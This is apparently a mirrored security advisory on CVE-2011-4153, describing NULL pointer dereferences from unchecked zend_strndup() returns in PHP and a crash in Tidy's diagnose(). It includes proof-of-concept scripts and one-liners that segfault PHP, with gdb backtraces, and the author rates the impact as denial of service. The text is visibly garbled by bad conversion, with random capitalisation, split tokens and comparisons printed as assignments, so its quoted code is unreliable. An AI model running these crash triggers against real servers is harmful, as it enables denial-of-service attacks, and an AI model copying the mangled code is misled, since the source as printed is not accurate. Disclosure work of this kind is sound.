By Maksymilian Arciemowicz www.2cto.com http://cxsecurity.com/
CVE:
CVE-2011-4153 (zend_strndup)
Organization connection:
Http://cxsecurity.com/research/103
[--- 1. Multiple NULL Pointer Dereference with zend_strndup ()
[CVE-2011-4153] ---]
As we can see in zend_strndup ()
--Zend_alloca.c ---
ZEND_API char * zend_strndup (const char * s, uint length)
{
Char * p;
P = (char *) malloc (length + 1 );
If (UNEXPECTED (p = NULL )){
Return p; <= RETURN NULL
}
If (length ){
Memcpy (p, s, length );
}
P [length] = 0;
Return p;
}
--Zend_alloca.c ---
Zend_strndup () may return NULL
In php code, many callto zend_strndup () dosen't checks returned
Values. In result, places like:
--Zend_builtin_functions.c ---
ZEND_FUNCTION (define)
{
Char * name;
Int name_len;
Zval * val;
Zval * val_free = NULL;
Zend_bool non_cs = 0;
Int case_sensitive = CONST_CS;
Zend_constant c;
If (zend_parse_parameters (ZEND_NUM_ARGS () TSRMLS_CC, "sz | B", & name,
& Name_len, & val, & non_cs) = FAILURE ){
Return;
}
...
C. flags = case_sensitive;/* non persistent */
C. name = zend_strndup (name, name_len); <======== MAY RETURN NULL
C. name_len = name_len + 1;
C. module_number = PHP_USER_CONSTANT;
If (zend_register_constant (& c TSRMLS_CC) = SUCCESS ){
RETURN_TRUE;
} Else {
RETURN_FALSE;
}
}
--Zend_builtin_functions.c ---
--PoC code ---
[Cx @ 82/www] $ ulimit-
Socket buffer size (bytes,-B) unlimited
Core file size (blocks,-c) unlimited
Data seg size (kbytes,-d) 524288
File size (blocks,-f) unlimited
Max locked memory (kbytes,-l) unlimited
Max memory size (kbytes,-m) 40000
Open File (-n) 11095
Pipe size (512 bytes,-p) 1
Stack size (kbytes,-s) 65536
Cpu time (seconds,-t) unlimited
Max user processes (-u) 5547
Virtual memory (kbytes,-v) 40000
Swap size (kbytes,-w) unlimited
[Cx @ 82/www] $ cat define. php
<? Php
Define (str_repeat ("A", $ argv [1]), "");
?>
--PoC code ---
To see difference
[Cx @ 82/www] $ php define. php 8999999
Out of memory
[Cx @ 82/www] $ php define. php 9999999
Segmentation fault: 11
(Gdb) bt
#0 0x28745eb0 in strrchr () from/lib/libc. so.7
#1 0x0822d538 in zend_register_constant (c = 0xbfbfcfb0)
At/usr/ports/lang/php5/work/php/Zend/zend_constants.c: 429
#2 0x08251e0e in zif_define (ht = 2, return_value = 0x28825a98,
Return_value_ptr = 0x0, this_ptr = 0x0, return_value_used = 0)
At/usr/ports/lang/php5/work/php/Zend/zend_builtin_functions.c: 688
#3 0x0826dba6 in zend_do_fcall_common_helper_SPEC
(Execute_data = 0x29401040)
At zend_vm_execute.h: 316
There are others places, where zend_strndup () is used:
--1 --
Ext/soap/php_sdl.c
If (sdl-> is_persistent ){
New_enc-> details. ns = zend_strndup (ns, ns_len );
New_enc-> details. type_str = strdup (new_enc-> details. type_str );
} Else {
New_enc-> details. ns = estrndup (ns, ns_len );
New_enc-> details. type_str = estrdup (new_enc-> details. type_str );
}
--1 --
--2 --
Ext/standard/syslog. c
BG (syslog_device) = zend_strndup (ident, ident_len );
Openlog (BG (syslog_device), option, facility );
RETURN_TRUE;
--2 --
--3 --
Ext/standard/browscap. c
} Else {/* Other than true/false setting */
Z_STRVAL_P (new_property) = zend_strndup (Z_STRVAL_P (arg2 ),
Z_STRLEN_P (arg2 ));
Z_STRLEN_P (new_property) = Z_STRLEN_P (arg2 );
}
New_key = zend_strndup (Z_STRVAL_P (arg1), Z_STRLEN_P (arg1 ));
Zend_str_tolower (new_key, Z_STRLEN_P (arg1 ));
Zend_hash_update (Z_ARRVAL_P (current_section), new_key,
Z_STRLEN_P (arg1) + 1, & new_property, sizeof (zval *), NULL );
Free (new_key );
--3 --
--4 --
Ext/oci8/oci8.c
If (alloc_non_persistent ){
Connection = (php_oci_connection *) ecalloc (1,
Sizeof (php_oci_connection ));
Connection-> hash_key = estrndup (hashed_details.c, hashed_details.len );
Connection-> is_persistent = 0;
} Else {
Connection = (php_oci_connection *) calloc (1,
Sizeof (php_oci_connection ));
Connection-> hash_key = zend_strndup (hashed_details.c,
Hashed_details.len );
Connection-> is_persistent = 1;
}
--4 --
--5 --
Ext/com_dotnet/com_typeinfo.c
Const_name = php_com_olestring_to_string (bstr_ids, & c. name_len,
Codepage TSRMLS_CC );
C. name = zend_strndup (const_name, c. name_len );
Efree (const_name );
C. name_len ++;/* include NUL */
SysFreeString (bstr_ids );
/* Sanity check for the case where the constant is already defined */
If (zend_get_constant (c. name, c. name_len-1, & exists TSRMLS_CC )){
If (COMG (autoreg_verbose )&&! Compare_function (& results,
& C. value, & exists TSRMLS_CC )){
Php_error_docref (NULL TSRMLS_CC, E_WARNING, "Type library
Constant % s is already defined ", c. name );
}
Free (c. name );
ITypeInfo_ReleaseVarDesc (TypeInfo, pVarDesc );
Continue;
}
--5 --
--6 --
Main/php_open_temporary_file.c
/* On Unix use the (usual) TMPDIR environment variable .*/
{
Char * s = getenv ("TMPDIR ");
If (s & * s ){
Int len = strlen (s );
If (s [len-1] = DEFAULT_SLASH ){
Temporary_directory = zend_strndup (s, len-1 );
} Else {
Temporary_directory = zend_strndup (s, len );
}
Return temporary_directory;
}
--6 --
[--- 2. Tidy: diagnose () NULL pointer dereference ---]
Class tidy, may provide to null pointer dereference using tidy lib.
1287 static PHP_FUNCTION (tidy_diagnose)
1288 {
1289 TIDY_FETCH_OBJECT;
1290
1291 if (tidyRunDiagnostics (obj-> ptdoc-> doc)> = 0 ){
1292 tidy_doc_update_properties (obj TSRMLS_CC );
1293 RETURN_TRUE;
1294}
1295
1296 RETURN_FALSE;
1297}
--PoC ---
(Gdb) r-R' $ nx = new Tidy ("*"); $ nx-> diagnose ();'
The program being debugged has been started already.
Start it from the beginning? (Y or n) y
Starting program:/usr/bin/php-R' $ nx = new Tidy ("*"); $ nx-> diagnose ();'
[Thread debugging using libthread_db enabled]
PHP Warning: tidy ::__ construct (): Cannot Load '*' into memory in
Command line code on line 1
Program received signal SIGSEGV, Segmentation fault.
0x00007fffedfaff87 in prvTidyReportMarkupVersion ()
From/usr/lib/libtidy-0.99.so.0
--PoC ---
--Result www.2cto.com ---
Cx @ cx64 :~ $ Php-r '$ nx = new Tidy ("*"); $ nx-> diagnose ();'
PHP Warning: tidy ::__ construct (): Cannot Load '*' into memory in
Command line code on line 1
Segmentation fault
--Result ---
I do not consider this vulnerability as a having security impact other
As DoS.